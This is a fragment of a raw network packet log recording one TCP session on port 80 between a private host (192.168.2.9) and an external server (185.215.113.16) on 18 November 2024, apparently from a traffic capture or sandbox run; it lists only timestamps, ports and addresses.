Nov 18, 2024 15:17:16.705758095 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.705780029 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.705792904 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.705804110 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.705813885 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.705842972 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.705936909 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.705950022 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.705960035 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.705974102 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.705976009 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.705986023 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.705987930 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.705991030 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.706010103 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.706013918 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.706056118 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.707262993 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.707276106 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.707285881 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.707298994 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.707308054 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.707319975 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.707330942 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.707360029 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.707487106 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.707499981 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.707513094 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.707532883 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.707550049 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.707608938 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.707648039 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.707695007 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.707710981 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.707722902 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.707730055 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.707731009 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.707746983 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.707772970 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.707813025 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.707870007 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.707881927 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.707904100 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.707926035 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.708342075 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.708365917 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.708373070 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.708395004 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.708411932 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.743587017 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.743624926 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.743638039 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.743645906 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.743666887 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.744138956 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.744151115 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.744163036 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.744194031 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.744196892 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.744237900 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.744267941 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.744271040 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.744302988 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.744447947 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.744863987 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.756706953 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.756721020 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.756732941 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.756781101 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.756805897 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.756808043 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.756820917 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.756836891 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.756843090 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.756874084 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.756964922 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.756977081 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.756988049 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.756999969 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.757009983 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.757042885 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.757292986 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.757304907 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.757316113 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.757327080 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.757340908 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.757373095 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.757500887 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.757513046 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.757546902 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.757621050 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.757632971 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.757643938 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.757654905 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.757662058 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.757673025 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.757674932 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.757700920 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.757728100 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.820631027 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.820647001 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.820660114 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.820744038 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.820744038 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.821212053 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.821223974 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.821235895 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.821264029 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.821289062 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.821429968 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.821436882 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.821439028 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.821511030 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.821574926 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.821588039 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.821599960 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.821623087 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.821634054 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.821667910 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.821681023 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.821719885 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.823223114 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.823271036 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.823276997 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.823287964 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.823318958 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.823338032 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.823339939 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.823354006 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.823364973 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.823385000 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.823388100 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.823399067 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.823410988 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.823419094 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.823426008 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.823451996 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.823476076 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.823544979 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.823564053 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.823597908 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.823607922 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.823674917 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.823693991 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.823714972 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.823735952 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.823873043 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.823910952 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.823942900 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.823982954 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.823986053 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.824023008 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.824280977 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.824291945 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.824338913 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.893753052 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.893773079 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.893785954 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.893798113 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.893820047 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.893851995 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.898627996 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.898648024 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.898715973 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.898736000 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.898801088 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.898813963 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.898838043 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.898890972 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.903412104 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.903429985 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.903462887 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.903481007 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.903541088 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.903554916 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.903561115 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.903661966 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.908433914 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.908452988 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.908464909 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.908477068 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.908489943 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.908513069 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.913357019 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.913383007 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.913395882 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.913409948 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.913429022 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.913445950 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.918190002 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.918206930 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.918219090 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.918251991 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.918270111 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.918303967 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.918317080 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.918351889 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.923141003 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.923343897 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.948930025 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.948942900 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.948955059 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.948996067 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.949026108 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.954926968 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.954952002 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.954965115 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.954977036 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.954988003 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.954988956 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.955018997 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.955040932 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.959959984 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.959976912 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.959989071 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.960005045 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.960021973 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.960042953 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.965452909 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.965471029 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.965482950 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.965495110 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.965516090 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.965538025 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.970523119 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.970536947 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.970549107 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.970561028 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.970572948 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.970592976 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.970624924 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.975462914 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.975482941 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.975495100 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.975534916 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.975542068 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.975553036 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.975588083 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.980266094 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.980287075 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.980298996 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.980310917 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.980323076 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.980329037 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.980335951 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.980350971 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.980389118 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:16.985099077 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:16.985198021 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.041131973 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.041151047 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.041161060 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.041214943 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.041246891 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.045737028 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.045751095 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.045804024 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.045959949 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.045979977 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.045993090 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.046004057 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.046027899 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.046045065 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.050695896 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.050712109 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.050772905 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.050791025 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.050836086 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.050851107 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.050895929 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.055531979 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.055546045 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.055556059 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.055589914 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.055608034 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.055712938 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.055725098 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.055753946 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.055780888 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.060442924 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060456991 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060468912 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060482979 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060492039 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.060497046 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060512066 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.060516119 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060534000 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060549974 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060560942 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.060563087 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060584068 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060587883 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.060599089 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060606956 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.060611963 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060636997 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.060661077 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.060827017 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060838938 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060849905 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060856104 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060862064 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060868025 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060878038 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060889006 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060902119 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060910940 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.060913086 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060920954 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060931921 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060939074 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.060944080 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060956955 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060970068 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060978889 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.060986042 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.060997963 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.061007977 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.061009884 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.061022997 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.061026096 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.061036110 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.061049938 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.061060905 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.061063051 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.061074018 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.061100960 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.061117887 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.061491013 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.061502934 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.061515093 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.061527014 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.061537981 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.061547041 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.061551094 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.061563015 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:17.061573029 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.061585903 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:17.061598063 CET	80	49829	185.215.113.16	192.168.2.9
